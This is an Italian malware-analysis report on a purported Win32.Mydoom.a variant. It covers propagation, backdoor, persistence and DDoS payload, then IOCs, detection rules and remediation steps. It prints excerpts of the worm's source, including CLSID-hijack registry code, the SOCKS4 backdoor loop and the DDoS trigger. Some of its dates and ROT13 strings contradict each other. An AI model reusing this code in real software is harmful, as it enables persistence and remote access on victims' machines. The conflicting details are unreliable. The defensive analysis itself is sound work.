

REPORT DI INTELLIGENCE E RISPOSTA OPERATIVA

Analisi Forense Malware — Win32.Mydoom.a

Analisi di una Variante Emergente

Data analisi: 07 Settembre 2026

Stato: Analisi codice sorgente e piano di risposta

Indice

Indice.....	2
1. Executive Summary.....	3
2. Identificazione del Campione.....	3
3. Architettura del Codice.....	3
4. Analisi Tecnica Dettagliata.....	4
4.1 Meccanismi di Propagazione.....	4
Propagazione Email (SMTP).....	4
Propagazione P2P (KaZaA).....	4
4.2 Backdoor SOCKS4.....	4
4.3 Persistenza nel Sistema.....	5
Tecnica 1 — CLSID Hijacking (avanzata).....	5
Tecnica 2 — Chiave Run (classica).....	5
4.4 Payload DDoS.....	5
4.5 Tecniche di Offuscamento.....	6
4.6 Comunicazione e Comando & Controllo (C2).....	7
5. Indicatori di Compromissione (IOC).....	7
Indicatori di Rete.....	7
Indicatori File System.....	8
Indicatori di Registro.....	8
6. Mappatura MITRE ATT&CK.....	8
7. Fase 1 — Valutazione Critica delle Modifiche (Intelligence).....	8
1. Estensione del range della backdoor (anomalia di rete).....	8
2. Evoluzione della persistenza (CLSID Hijacking).....	8
3. Codice "sporco" e commenti di sviluppo (indicatore di versione beta).....	8
8. Fase 2 — Regole di Rilevamento (Detection).....	9
8.1 Regola YARA (rilevamento su file e memoria).....	9
8.2 Regola Suricata / Snort (rilevamento di rete).....	9
9. Fase 3 — Piano di Mitigazione e Remediation.....	9
9.1 Contenimento Immediato (0–4 ore).....	10
9.2 Eradicazione e Rimozione (4–12 ore).....	10
9.3 Ripristino e Monitoraggio (12–48 ore).....	10
10. Conclusioni.....	10

1. Executive Summary

Mydoom (Novarg) è apparso per la prima volta nel gennaio 2004 ed è considerato uno dei worm più distruttivi della storia informatica: diffondendosi principalmente tramite e-mail, ha infettato in tempi rapidissimi un numero elevatissimo di sistemi Windows, causando gravi rallentamenti sulle reti aziendali e sull'infrastruttura Internet globale; lasciando sugli host compromessi backdoor di rete utilizzabili per intrusioni successive.

Il campione analizzato è il codice sorgente di una variante di Win32.Mydoom.a, basato su quel worm originale. L'analisi forense ha evidenziato modifiche tattiche significative rispetto all'originale, tra cui un'estensione del range della backdoor e l'implementazione di tecniche di persistenza avanzate (CLSID Hijacking).

Punto chiave

Il codice presenta anomalie indicative di una versione di sviluppo (bug noti, commenti dell'autore). È probabile che la versione finale distribuita in rete avrà la Kill Date rimossa e i target aggiornati, con impatto più duraturo.

2. Identificazione del Campione

Nome malware	Win32.Mydoom.a (Variante Emergente)
Tipo	Worm / Backdoor / DDoS Bot
Famiglia	Mydoom (Novarg)
Linguaggio	C (Win32 API)
Piattaforma target	Windows (32-bit)
Kill Date (nel codice)	1 Febbraio 2004 (probabilmente rimossa nella build finale)
Autore	Sconosciuto (pseudonimo "andy" nel codice)

3. Architettura del Codice

Il malware è strutturato in moduli funzionali separati:

File	Funzione	Dimensione
main.c	Entry point, orchestrazione	8 KB
massmail.c	Propagazione email di massa	15 KB
scan.c	Email harvesting dal filesystem	12 KB
msg.c	Generazione messaggi email	12 KB
xsmtp.c	Client SMTP proprietario	9 KB
xdns.c	Risoluzione DNS record MX	11 KB
p2p.c	Propagazione reti KaZaA	2 KB
sco.c	Payload DDoS	3 KB
zipstore.c	Compressione allegati	9 KB
xproxy/xproxy.c	Backdoor SOCKS4 DLL	9 KB
xproxy/client.c	Client di test backdoor	2 KB

File	Funzione	Dimensione
lib.c	Utility ROT13, ecc.	8 KB

Name	Size	Packed Size	Modified	Attributes	CRC	Encrypted	Method	Block	Folders	Files
work	2 826	0	2020-08-01 05:47	D drrwxrwxr-x	3834FA9D	-	-	0	0	4
xproxy	12 942	0	2020-08-01 05:47	D drrwxrwxr-x	DBC74234	-	-	0	0	3
lib.c	7 177		2020-08-01 05:47	A -rwxr-xr-x	A9835664	-	LZMA2:17	0		
lib.h	658		2020-08-01 05:47	A -rwxr-xr-x	5E9942B9	-	LZMA2:17	0		
main.c	7 732		2020-08-01 05:47	A -rwxr-xr-x	70A1DE40	-	LZMA2:17	0		
makefile	958		2020-08-01 05:47	A -rwxr-xr-x	8D1DD07F	-	LZMA2:17	0		
massmail.c	14 645		2020-08-01 05:47	A -rwxr-xr-x	D33B0331	-	LZMA2:17	0		
massmail.h	600		2020-08-01 05:47	A -rwxr-xr-x	286041CB	-	LZMA2:17	0		
msg.c	11 553		2020-08-01 05:47	A -rwxr-xr-x	664636A4	-	LZMA2:17	0		
msg.h	90		2020-08-01 05:47	A -rwxr-xr-x	21E3984E	-	LZMA2:17	0		
p2p.c	1 622		2020-08-01 05:47	A -rwxr-xr-x	22559642	-	LZMA2:17	0		
resource.ico	318		2020-08-01 05:47	A -rwxr-xr-x	46B5FE7A	-	LZMA2:17	0		
resource.rc	60		2020-08-01 05:47	A -rwxr-xr-x	DDEC728A	-	LZMA2:17	0		
scan.c	11 576		2020-08-01 05:47	A -rwxr-xr-x	FA0715A1	-	LZMA2:17	0		
scan.h	138		2020-08-01 05:47	A -rwxr-xr-x	95EBAB08	-	LZMA2:17	0		
sco.c	2 398		2020-08-01 05:47	A -rwxr-xr-x	B0DEE16C	-	LZMA2:17	0		
sco.h	81		2020-08-01 05:47	A -rwxr-xr-x	C00A3C23	-	LZMA2:17	0		
xdns.c	10 463		2020-08-01 05:47	A -rwxr-xr-x	A4C3F218	-	LZMA2:17	0		
xdns.h	225		2020-08-01 05:47	A -rwxr-xr-x	C2FE9913	-	LZMA2:17	0		
xsmtp.c	8 718		2020-08-01 05:47	A -rwxr-xr-x	5F3A74D5	-	LZMA2:17	0		
xsmtp.h	121		2020-08-01 05:47	A -rwxr-xr-x	D11F13EC	-	LZMA2:17	0		
zipstore.c	9 095		2020-08-01 05:47	A -rwxr-xr-x	10660330	-	LZMA2:17	0		
zipstore.h	119		2020-08-01 05:47	A -rwxr-xr-x	C13D94FD	-	LZMA2:17	0		
_readme.txt	118	26 401	2020-08-01 05:47	A -rwxr-xr-x	8BC493DD	-	LZMA2:17	0		

Fig. 1 — Contenuto dell'archivio Win32.Mydoom.a.7z estratto in ambiente FLARE VM, con l'elenco dei moduli sorgente e relative dimensioni.

4. Analisi Tecnica Dettagliata

4.1 Meccanismi di Propagazione

Propagazione Email (SMTP)

- Porta: TCP 25
- Motore: SMTP proprietario (xsmtp.c)
- Risoluzione MX: via DNS (xdns.c, porta 53)
- Harvesting email: scansione file con estensioni .txt, .htm, .dbx, .wab
- Header email offuscati in ROT13: Sebz (From), Gb (To), Fubwrpg (Subject)
- Comandi SMTP offuscati: HELO, MAIL FROM, RCPT TO

Propagazione P2P (Kazaa)

- Target: rete KaZaA
- Chiave di registro: Software\Kazaa\Transfer → D1Dir0 (directory download)
- Nomi file: generati casualmente da lista predefinita
- Meccanismo: copia sé stesso nella directory condivisa

4.2 Backdoor SOCKS4

Specifica	Dettaglio
Range porte	TCP 3127–3199 (anomalia: +1 rispetto al range classico 3127–3198)
Protocollo	SOCKS4 proxy
Implementazione	DLL caricata in memoria
Attivazione	Thread creato al DLL_PROCESS_ATTACH via CreateThread

Logica di ascolto: il ciclo prova la porta 3127; se occupata passa alla successiva. Quando supera 3198, attende 2 secondi e ricomincia da 3127, all'infinito.

4.3 Persistenza nel Sistema

Tecnica 1 — CLSID Hijacking (avanzata)

Il malware sostituisce DLL legittime di Windows Explorer con la propria backdoor, modificando le chiavi HKEY_CLASSES_ROOT\CLSID\{...}\InprocServer32 affinché puntino a shimgapi.dll malevola.

CLSID	DLL originale
{35CEC8A3-2BE6-11D2-8773-92E220524153}	stobject.dll — icone system tray
{E6FB5E20-DE35-11CF-9C87-00AA005127ED}	Webcheck.dll — sincronizzazione web

Tecnica 2 — Chiave Run (classica)

- Percorso: Software\Microsoft\Windows\CurrentVersion\Run
- Nome valore: TaskMon (imita taskmon.exe legittimo)
- File: gnfxzba.rkr (ROT13 di taskmon.exe)

```

HKEY k;
if (RegOpenKeyEx(root, path, 0, KEY_WRITE, &k) != 0)
    if (RegCreateKeyEx(root, path, 0, NULL, 0, KEY_WRITE, NULL, &k, NULL) != 0)
        return;
RegSetValueEx(k, valname, 0, REG_SZ, (LPBYTE)val, lstrlen(val)+1);
RegCloseKey(k);

void shellsvc_attach()

char tmp[128], dllpath[256];
MEMORY_BASIC_INFORMATION mbi;

if (VirtualQuery(&shellsvc_attach, &mbi, sizeof(mbi)) == 0) return;
memset(dllpath, 0, sizeof(dllpath));
GetModuleFileName((HMODULE)mbi.AllocationBase, dllpath, sizeof(dllpath));

/* CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524153}\InprocServer32 - Explorer's stobject.dll */
rot13(tmp, "PYFVQ\\{35PRP8N3-20R6-11Q2-8773-92R220524153}\\VacebpFreire32");
reg_setval(HKEY_CLASSES_ROOT, tmp, NULL, dllpath);

/* CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InprocServer32 - Explorer's Webcheck.dll */
rot13(tmp, "PYFVQ\\{R6S05R20-QR35-11PS-9P87-00NN005127RQ}\\VacebpFreire32");
reg_setval(HKEY_CLASSES_ROOT, tmp, NULL, dllpath);

WORD _stdcall xproxy_th(LPVOID pv)

int port;
regsvc9x();
wsainit();
shellsvc_attach();

/* actually, this piece of code will try ports 3127 - 3199 */

for (port=3127;;port++) {
    socks4_main(port, 3);
    Sleep(1024);
    if (port > 3198) {
        Sleep(2048);
        port = 3127;
    }
}

```

Fig. 2 — Estratto da xproxy.c: la funzione shellsvc_attach() scrive (in ROT13) i path dei due CLSID dirottati; subito sotto, xproxy_th() mostra il ciclo di ascolto della backdoor che itera le porte 3127–3199, confermando l'anomalia rispetto al range storico 3127–3198.

4.4 Payload DdoS

Target	www.sco.com (offuscato in ROT13 come jjj.fpb.pbz)
Porta	TCP 80 (HTTP)
Tipo attacco	HTTP flood (presunto, basato su porta 80)
Kill Date	1 Febbraio 2004, ore 16:09:18

Bug noti (commentati nel codice): un problema nel controllo della data ("75% failures?") e un difetto di concorrenza per cui il DDoS gira in loop invece che in un thread separato — a riprova della natura di sviluppo del campione.

```

return 0;
}

void payload_sco(struct sync_t *sync)
{
    FILETIME ft_cur, ft_final;

    /* What's the bug about "75% failures"? */

    GetSystemTimeAsFileTime(&ft_cur);
    SystemTimeToFileTime(&sync->sco_date, &ft_final);
    if (ft_cur.dwHighDateTime < ft_final.dwHighDateTime) return;
    if (ft_cur.dwLowDateTime < ft_final.dwLowDateTime) return;

    /* here is another bug.
    actually, the idea was to create a new thread and return; */

    for (;;) {
        scodos_main();
        Sleep(1024);
    }
}

DWORD _stdcall sync_visual_th(LPVOID pv)
{
    PROCESS_INFORMATION pi;
    STARTUPINFO si;
    char cmd[256], tmp[MAX_PATH], buf[512];
    HANDLE hFile;
    int i, j;
    DWORD dw;

    tmp[0] = 0;
    GetTempPath(MAX_PATH, tmp);
    if (tmp[0] == 0) goto ex;
    if (tmp[lstrlen(tmp)-1] != '\\') lstrcat(tmp, "\\");
    lstrcat(tmp, "Message");

    hFile = CreateFile(tmp, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
        NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) goto ex;
    for (i=0, j=0; i < 4096; i++) {
        if (j >= (sizeof(buf)-4)) {
            WriteFile(hFile, buf, sizeof(buf), &dw, NULL);

```

Fig. 3 — `payload_sco()`: il commento dell'autore "What's the bug about '75% failures'?" e la nota "actually, the idea was to create a new thread and return" confermano che il campione è una build di sviluppo, non ancora rifinita.

```

FLARE-VM Mon 09/07/2026 6:59:49.17
C:\Users\FlareVm\Downloads\Win32.Mydoom.a>findstr /n "sco_date 2004 2005" *.c *.h
main.c:11:const char szWhoami[] = "(sync.c,v 0.1 2004/01/xx xx:xx:xx andy)";
main.c:22:    SYSTEMTIME sco_date;
main.c:181:    SystemTimeToFileTime(&sync->sco_date, &ft_final);
main.c:283:    static const SYSTEMTIME termdate = { 2004,2,0,12, 2,28,57 };
main.c:284:    static const SYSTEMTIME sco_date = { 2004,2,0,1, 16, 9,18 };
main.c:292:    sync0.sco_date = sco_date;
p2p.c:11:    "vpd2004-svany",
p2p.c:17:    "ahxr2004"
zipstore.c:76:    0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL,
zipstore.c:150:        systime.wYear = 2004;

```

Fig. 4 — Ricerca testuale (`findstr`) delle occorrenze "sco_date", "2004" e "2005": mostra la Kill Date hard-coded (28/02/2004) e la stringa identificativa "(sync.c,v 0.1 2004/01/xx andy)" con lo pseudonimo dell'autore.

4.5 Tecniche di Offuscamento

ROT13 (cifrario di Cesare) è usato sistematicamente per offuscare stringhe di registro, nomi file, header email, comandi SMTP, CLSID e nomi di processi.

Stringa offuscata (ROT13)	Valore decodificato
fuvztncv.qyy	shimgapi.dll
gnfxzba.exe	taskmon.exe
jjj.fpb.pbz	www.sco.com
Fbsgjner\Zvpebfbsg\Jvaqbjf\Pheeraglfvba\Eha	Software\Microsoft\Windows\CurrentVersion\Run

```
FLARE-VM Mon 09/07/2026 7:17:59.02
C:\Users\FlareVm\Downloads\Win32.Mydoom.a>findstr /n "ROT13" *.c xproxy*.c
sco.c:7:#define SCO_SITE_ROT13 "jjj.fpb.pbz" /* www.sco.com */
sco.c:75: "Ubfq: " SCO_SITE_ROT13 "\r\n"
sco.c:101: rot13(buf, SCO_SITE_ROT13);
```

Fig. 5 — La macro `SCO_SITE_ROT13` ("jjj.fpb.pbz") e la relativa chiamata `rot13(buf, SCO_SITE_ROT13)` in `sco.c`, che decodifica il dominio target del DDoS a runtime.

```
main.c:153: rot13(regpath, "Fbsgjner\Zvpebfbsg\Jvaqbjf\Pheeraglfvba\Eha");
main.c:154: rot13(valname, "GnfxZba"); /* "TaskMon" */
massmail.c:209: rot13(tmp, "fcnz"); /* "spam" */
msg.c:56: rot13(state->from+i, step3_domains[j]);
msg.c:100: rot13(state->exe_name, names[i].name);
msg.c:108: rot13(state->exe_ext, exts[i].ext);
msg.c:143: rot13(state->subject, subs[i].subj);
msg.c:329: rot13(buf, "Sebz: "); /* From: */
msg.c:331: rot13(buf+lstrlen(buf), "\r\nGb: "); /* To: */
msg.c:333: rot13(buf+lstrlen(buf), "\r\nFhowrpg: "); /* Subject */
msg.c:336: rot13(buf+lstrlen(buf), "\r\nQngr: "); /* Date */
msg.c:338: rot13(buf+lstrlen(buf), "\r\nZVZR-Irefvba: 1.0"); /* MIME-Version */
msg.c:339: rot13(buf+lstrlen(buf), "\r\nPbagrag-Glcr: zhygvcneg/zvkrq;\r\n"); /* "\r\nContent-Type:
d;\r\n" */
msg.c:341: rot13(buf+lstrlen(buf), "\r\nK-Cevbevg: 3"); /* X-Priority: 3 */
msg.c:342: rot13(buf+lstrlen(buf), "\r\nK-ZFZnvY-Cevbevg: Abezny"); /* X-MSMail-Priority: Normal */
msg.c:353: rot13(p+lstrlen(p), "Guvf vf n zhygv-cneg zrffntr va ZVZR sbezng.\r\n\r\n");
msg.c:361: rot13(tmp,
msg.c:380: rot13(tmp,
p2p.c:29: rot13(key_path, "Fbsgjner\Xnmnn\Genafsre");
p2p.c:30: rot13(key_val, "QyQve0"); // "DlDir0"
p2p.c:42: rot13(kaza+lstrlen(kaza), kaza_names[xrand16() % kaza_names_cnt]);
scan.c:365: rot13(key_path, "Fbsgjner\Zvpebfbsg\JNO\JNO4\Jno Svyr Anzr");
scan.c:384: rot13(sz_tif, "Grzcbenel Vagrearg Svyrf"); /* "Temporary Internet Files" */
scan.c:385: rot13(sz_ls, "Ybpny Frggvatf"); /* "Local Settings" */
sco.c:68: rot13(buf,
sco.c:101: rot13(buf, SCO_SITE_ROT13);
xsmtp.c:206: rot13(fmt, "RUYB %f\r\n"); /* EHLO %s */
xsmtp.c:209: rot13(fmt, "URyb %f\r\n"); /* "HELO %s\r\n" */
xsmtp.c:214: rot13(fmt, "ZNVY SEBZ:<%f>\r\n"); /* "MAIL FROM:<%s>\r\n" */
xsmtp.c:217: rot13(fmt, "EPCG GB:<%f>\r\n"); /* "RCPT TO:<%s>\r\n" */
xsmtp.c:258: rot13(buf1, "Fbsgjner\Zvpebfbsg\Vagrearg Nppbhag Znantr\Nppbhagf");
xsmtp.c:260: rot13(buf4, "FZGC Freire");
xproxy\xproxy.c:267:char rot13c(char c)
xproxy\xproxy.c:281:void rot13(char *buf, char *in)
xproxy\xproxy.c:284: *buf++ = rot13c(*in++);
xproxy\xproxy.c:306: rot13(tmp, "ErtvfgreFreivprCebprff");
xproxy\xproxy.c:338:// rot13(tmp, "PYFVQ\{35PRP8N3-20R6-11Q2-8773-92R220524153}\VacebpFreire32");
xproxy\xproxy.c:342: rot13(tmp, "PYFVQ\{R6S05R20-QR35-11PS-9P87-00NN005127RQ}\VacebpFreire32");

FLARE-VM Mon 09/07/2026 7:28:25.62
C:\Users\FlareVm\Downloads\Win32.Mydoom.a>findstr /i ".txt\|.htm\|.dbx\|.wab\|.asp" scan.c

FLARE-VM Mon 09/07/2026 7:28:50.68
C:\Users\FlareVm\Downloads\Win32.Mydoom.a>
```

Fig. 6 — `findstr` su tutti i file sorgente per la funzione `rot13()`: l'offuscamento è applicato in modo sistematico a header email, comandi SMTP, chiavi di registro, percorsi CLSID e nomi di processo/DLL in ogni modulo del malware.

4.6 Comunicazione e Comando & Controllo (C2)

A differenza dei malware moderni, Mydoom.a non implementa un canale C2 centralizzato in senso classico: non esiste un server dell'attaccante verso cui l'host infetto invia periodicamente un beacon per ricevere comandi o esfiltrare dati. Il "controllo" avviene secondo due meccanismi distinti e passivi:

- **Backdoor SOCKS4 (xproxy.c):** il malware apre in ascolto una porta nel range 3127–3199 e attende che sia l'attaccante a connettersi dall'esterno per usare l'host come proxy — un modello "pull" inverso rispetto al beaconing, che richiede all'operatore di scansionare Internet alla ricerca di host infetti in ascolto.
- **Payload DDoS (sco.c):** il target (www.sco.com) e la data di attivazione sono hard-coded nel binario e decodificati localmente via ROT13; non viene ricevuto alcun comando remoto che stabilisca bersaglio o timing dell'attacco.

Implicazione per il rilevamento

L'assenza di un C2 con traffico periodico verso un server esterno rende inefficaci le tecniche di detection basate sull'analisi di beaconing o su blacklist di domini C2. Il monitoraggio deve concentrarsi sulle connessioni in ingresso non richieste verso le porte 3127–3199 (Fig. 2, §8.2) e sul traffico anomalo verso www.sco.com, piuttosto che su pattern di comunicazione periodica outbound.

5. Indicatori di Compromissione (IOC)

Indicatori di Rete

Indicatore	Descrizione
TCP 3127–3199	Backdoor SOCKS4 in ascolto
TCP 25	SMTP outbound — propagazione
TCP 80	Traffico verso target DDoS (www.sco.com)
UDP 53	Risoluzione DNS
www.sco.com	Dominio target del DDoS

Indicatori File System

File	Posizione / Ruolo
shimgapi.dll	%SystemRoot%\System32\ o %TEMP% — DLL backdoor
taskmon.exe	%SystemRoot%\ — falso processo legittimo

Indicatori di Registro

Chiave	Valore atteso
HKCR\CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524153}\InprocServer32	Path a shimgapi.dll (CLSID Hijacking)

Chiave	Valore atteso
HKCR\CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InprocServer32	Path a shimgapi.dll (CLSID Hijacking)
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\TaskMon	Path a taskmon.exe (persistenza classica)

6. Mappatura MITRE ATT&CK

Tattica	Tecnica
Execution	User Execution (T1204) — esecuzione allegato email
Persistence	Boot or Logon Autostart Execution (T1547.001) — chiave Run TaskMon
Persistence	Hijack Execution Flow (T1574.012) — CLSID Hijacking
Defense Evasion	Obfuscated Files or Information (T1027) — ROT13 encoding
Defense Evasion	Masquerading (T1036) — finto taskmon.exe
Discovery	File and Directory Discovery (T1083) — scansione filesystem per email
Collection	Email Collection (T1114) — harvesting da .dbx, .wab
Command and Control	Application Layer Protocol (T1071.001) — SMTP custom
Command and Control	Non-Standard Port (T1571) — porte 3127–3199
Impact	Network Denial of Service (T1498) — DDoS contro sco.com

7. Fase 1 - Valutazione Critica delle Modifiche (Intelligence)

Dall'analisi del codice sorgente della presunta nuova variante emergono tre anomalie critiche rispetto alla documentazione storica del Mydoom.a originale, indicative di un'evoluzione tattica dell'attore malevolo.

1. Estensione del range della backdoor (anomalia di rete)

- **Riscontro tecnico:** il ciclo di ascolto della backdoor SOCKS4 (xproxy_th) itera sulle porte TCP da 3127 a 3199 (73 porte totali), mentre la letteratura storica indica il range 3127–3198.
- **Implicazione:** i firewall e gli IPS configurati sul range storico lasceranno aperta la porta 3199, permettendo un canale C2 che bypassa i controlli legacy.

2. Evoluzione della persistenza (CLSID Hijacking)

- **Riscontro tecnico:** oltre alla classica chiave Run, il codice implementa il CLSID Hijacking modificando le chiavi InprocServer32 associate a stobject.dll e Webcheck.dll.
- **Implicazione:** gli EDR o antivirus tradizionali che monitorano solo le chiavi di autorun standard non rileveranno questa persistenza — un chiaro salto di sofisticazione.

3. Codice "sporco" e commenti di sviluppo (indicatore di versione beta)

- **Riscontro tecnico:** il codice contiene commenti espliciti dell'autore e bug noti (es. loop infinito al posto di un thread separato per il DDoS).

Implicazione più rilevante

Trattandosi verosimilmente di codice sorgente di sviluppo, è probabile che l'attore malevolo rimuova la Kill Date e aggiorni il target DDoS prima di compilare la variante finale, orientando la minaccia verso una persistenza di lungo periodo (APT-like).

8. Fase 2 - Regole di Rilevamento (Detection)

Per rispondere rapidamente alla minaccia sono state sviluppate le seguenti regole di rilevamento, da distribuire ai team SOC e Network Security.

8.1 Regola YARA (rilevamento su file e memoria)

Cerca le stringhe ROT13 uniche e l'anomalia della porta 3199 nel codice sorgente o nel binario compilato.

```
rule Win32_Mydoom_Variant_2026 {
  meta:
    description = "Rileva variante Mydoom con estensione backdoor e CLSID Hijacking"
    author      = "Threat Intelligence Team"
    date        = "2026-09-07"
    severity    = "Critical"
  strings:
    $rot13_dll    = "fuvztncv.qyy" ascii
    $rot13_reg    = "Fbsgjener\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Eha" ascii
    $rot13_target = "jjj.fpb.pbz" ascii
    $clsid_1      = "35CEC8A3-2BE6-11D2-8773-92E220524153" ascii wide
    $clsid_2      = "E6FB5E20-DE35-11CF-9C87-00AA005127ED" ascii wide
    $backdoor_loop = "if (port > 3198)" ascii
  condition:
    3 of ($rot13_*) or (2 of ($clsid_*) and $backdoor_loop)
}
```

8.2 Regola Suricata / Snort (rilevamento di rete)

Blocca e segnala il traffico sulla backdoor a range esteso.

```
alert tcp $EXTERNAL_NET any -> $HOME_NET [3127:3199] (
  msg:"ET TROJAN Win32.Mydoom Variant SOCKS4 Backdoor Connection Attempt (Extended
  Range)";
  flow:to_server,established;
  classtype:trojan-activity;
  sid:9000001;
  rev:1;
)

alert tcp $HOME_NET any -> $EXTERNAL_NET [3127:3199] (
  msg:"ET TROJAN Win32.Mydoom Variant Outbound SOCKS4 Proxy Activity";
  flow:to_server,established;
  classtype:trojan-activity;
  sid:9000002;
  rev:1;
)
```

9. Fase 3 — Piano di Mitigazione e Remediation

Azioni concrete per il SOC e il team IT nelle prime 24–48 ore dal rilevamento.

9.1 Contenimento Immediato (0–4 ore)

- **Isolamento di rete:** isolare gli host compromessi dalla rete aziendale, mantenendo solo la connessione per il team di incident response, per interrompere la propagazione via SMTP e P2P.
- **Blocco porte:** aggiornare le regole del firewall perimetrale e degli switch di distribuzione per bloccare tutto il traffico TCP in ingresso e uscita sulle porte 3127–3199.
- **Filtro SMTP:** bloccare le connessioni SMTP in uscita (porta 25) per tutti gli endpoint, consentendole solo ai server di posta autorizzati.

9.2 Eradicazione e Rimozione (4–12 ore)

- **Pulizia registro (persistenza):** rimuovere la chiave TaskMon da HKLM\Software\Microsoft\Windows\CurrentVersion\Run.
- **Azione critica (CLSID Hijacking):** ripristinare i valori originali delle chiavi InprocServer32 per i CLSID {35CEC8A3-2BE6-11D2-8773-92E220524153} (→ stobject.dll) e {E6FB5E20-DE35-11CF-9C87-00AA005127ED} (→ Webcheck.dll).
- **Eliminazione file:** cancellare i file malevoli shimgapi.dll (da System32 o Temp) e il falso taskmon.exe.
- **Terminazione processi:** terminare i processi in ascolto sulle porte 3127–3199 e i thread correlati.

9.3 Ripristino e Monitoraggio (12–48 ore)

- **Riavvio e verifica:** riavviare i sistemi e verificare che i servizi di sistema (es. icone di system tray) funzionino correttamente e che le chiavi di registro non vengano ricreate.
- **Threat hunting:** lanciare una scansione di rete e degli endpoint con le regole YARA e Suricata della Fase 2, per identificare eventuali altri host compromessi.

10. Conclusioni

L'analisi del codice sorgente di questa variante di Win32.Mydoom.a conferma un'evoluzione tattica rispetto all'originale del 2004. L'estensione della backdoor alla porta 3199 e l'uso del CLSID Hijacking dimostrano l'intento di evadere i controlli di sicurezza legacy.

La natura "in sviluppo" del codice suggerisce che la minaccia reale si concretizzerà solo quando l'attore malevolo rimuoverà la Kill Date e aggiornerà i target. L'implementazione immediata delle regole di rilevamento e del piano di mitigazione forniti in questo report è essenziale per neutralizzare la minaccia prima che si diffonda nell'infrastruttura aziendale.